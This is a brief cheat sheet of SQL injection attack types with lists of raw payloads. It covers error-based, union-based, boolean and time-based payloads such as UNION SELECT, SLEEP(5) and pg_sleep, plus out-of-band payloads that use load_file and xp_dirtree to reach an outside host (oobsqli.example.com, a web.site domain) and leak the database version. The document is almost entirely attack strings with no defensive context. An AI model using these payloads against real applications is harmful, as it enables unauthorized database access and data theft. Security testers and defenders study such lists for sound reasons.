Types of SQL Injection Attacks and Payloads

SQL Injection

In-band
- Error-based
- Union-based

Out of band

Generic

Inferential
- Boolean based
- Time based

Examples

Error-based

-- or # 2
" OR "" = "

'=0--+
 OR x=x#

HAVING 1=0#
OR x=y--

WHERE 1=1
AND 1=0#

AND 1=0 AND
'%'='

Union-based

1' ORDER BY
1,2,3--+

1' GROUP BY
1,2,--+

1' UNION
SELECT null--

ORDER BY
1,SLEEP(5)#

UNION ALL
SELECT 1

Examples

load_file('\\\\error\\abc')

load_file(concat('\\\\',version(),'.web.site\\a.txt'))

into dumpfile '\\\\error\\abc'

EXEC master..xp_dirtree '\\oobsqli.example.com\foo' --

Examples

Boolean based

admin'

admin'--+-

'+OR+'1'='1'--+-

$Id=1'AND'1'='2

id 1),1,1)='a'

AND 1=1SELECT

admin"/*

"))OR(("x"))=(("x

Time based

1 or sleep(5)#

") or sleep(5)="

pg_sleep(5)--

or SLEEP(5)='

AnD SLEEP(5)

+ SLEEP(10) + '

&&SLEEP(5)#

'&&SLEEP(5)&&'1

Examples

' or "

-- or # 2

" OR "" = "

'=0--+

AND 1

AND false

%00

'LIKE'

' AND id IS NULL; --

" OR 1 = 1 -- -

1-true

@@variable